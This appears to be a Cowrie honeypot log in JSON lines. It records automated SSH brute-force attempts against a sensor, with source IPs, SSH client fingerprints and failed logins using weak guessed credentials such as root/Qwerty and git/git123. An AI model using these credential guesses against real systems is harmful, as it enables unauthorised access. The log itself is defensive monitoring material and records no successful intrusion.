{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49882,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0b29df7c677","protocol":"ssh","message":"New connection: 83.168.110.85:49882 (10.17.0.5:22) [session: d0b29df7c677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:20.911812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:20.916883Z","src_ip":"83.168.110.85","session":"d0b29df7c677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:21.037750Z","src_ip":"83.168.110.85","session":"d0b29df7c677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:21.409644Z","src_ip":"83.168.110.85","session":"d0b29df7c677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:22.534297Z","src_ip":"83.168.110.85","session":"d0b29df7c677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53570,"dst_ip":"10.17.0.5","dst_port":22,"session":"7063fe7cccf7","protocol":"ssh","message":"New connection: 83.168.110.85:53570 (10.17.0.5:22) [session: 7063fe7cccf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:27.543922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:27.549473Z","src_ip":"83.168.110.85","session":"7063fe7cccf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:27.670516Z","src_ip":"83.168.110.85","session":"7063fe7cccf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:28.036107Z","src_ip":"83.168.110.85","session":"7063fe7cccf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:29.160568Z","src_ip":"83.168.110.85","session":"7063fe7cccf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53582,"dst_ip":"10.17.0.5","dst_port":22,"session":"16977e6616ba","protocol":"ssh","message":"New connection: 83.168.110.85:53582 (10.17.0.5:22) [session: 16977e6616ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:34.123855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:34.144697Z","src_ip":"83.168.110.85","session":"16977e6616ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:34.453052Z","src_ip":"83.168.110.85","session":"16977e6616ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:35.009927Z","src_ip":"83.168.110.85","session":"16977e6616ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:36.215004Z","src_ip":"83.168.110.85","session":"16977e6616ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58652,"dst_ip":"159.203.135.109","dst_port":22,"session":"532a8c625b7e","protocol":"ssh","message":"New connection: 109.237.96.109:58652 (159.203.135.109:22) [session: 532a8c625b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:36.849755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:36.854851Z","src_ip":"109.237.96.109","session":"532a8c625b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:36.945076Z","src_ip":"109.237.96.109","session":"532a8c625b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l123456","message":"login attempt [root/l123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:37.221871Z","src_ip":"109.237.96.109","session":"532a8c625b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:38.318532Z","src_ip":"109.237.96.109","session":"532a8c625b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54144,"dst_ip":"10.17.0.5","dst_port":22,"session":"04276f261af0","protocol":"ssh","message":"New connection: 83.168.110.85:54144 (10.17.0.5:22) [session: 04276f261af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:41.211944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:41.217529Z","src_ip":"83.168.110.85","session":"04276f261af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:41.338705Z","src_ip":"83.168.110.85","session":"04276f261af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:41.701895Z","src_ip":"83.168.110.85","session":"04276f261af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:43.070478Z","src_ip":"83.168.110.85","session":"04276f261af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57274,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b70da9d23a","protocol":"ssh","message":"New connection: 83.168.110.85:57274 (10.17.0.5:22) [session: 36b70da9d23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:48.237572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:48.243097Z","src_ip":"83.168.110.85","session":"36b70da9d23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:48.534539Z","src_ip":"83.168.110.85","session":"36b70da9d23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:49.057964Z","src_ip":"83.168.110.85","session":"36b70da9d23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:50.379362Z","src_ip":"83.168.110.85","session":"36b70da9d23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51512,"dst_ip":"10.17.0.5","dst_port":22,"session":"5079f30ddb1e","protocol":"ssh","message":"New connection: 83.168.110.85:51512 (10.17.0.5:22) [session: 5079f30ddb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:55.572922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:55.577939Z","src_ip":"83.168.110.85","session":"5079f30ddb1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:55.698768Z","src_ip":"83.168.110.85","session":"5079f30ddb1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41126,"dst_ip":"10.17.0.5","dst_port":22,"session":"069b0de43cd0","protocol":"ssh","message":"New connection: 193.228.128.84:41126 (10.17.0.5:22) [session: 069b0de43cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:55.888777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:55.893965Z","src_ip":"193.228.128.84","session":"069b0de43cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:55.996359Z","src_ip":"193.228.128.84","session":"069b0de43cd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:56.063610Z","src_ip":"83.168.110.85","session":"5079f30ddb1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"za12345123","message":"login attempt [root/za12345123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:56.304579Z","src_ip":"193.228.128.84","session":"069b0de43cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:57.188008Z","src_ip":"83.168.110.85","session":"5079f30ddb1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:57.409731Z","src_ip":"193.228.128.84","session":"069b0de43cd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d4096e4f9b","protocol":"telnet","message":"New connection: 152.42.224.71:37246 (10.17.0.5:23) [session: d5d4096e4f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:16:59.414252Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51526,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c89e17daf18","protocol":"ssh","message":"New connection: 83.168.110.85:51526 (10.17.0.5:22) [session: 7c89e17daf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:02.172927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:02.178503Z","src_ip":"83.168.110.85","session":"7c89e17daf18","protocol":"ssh"}
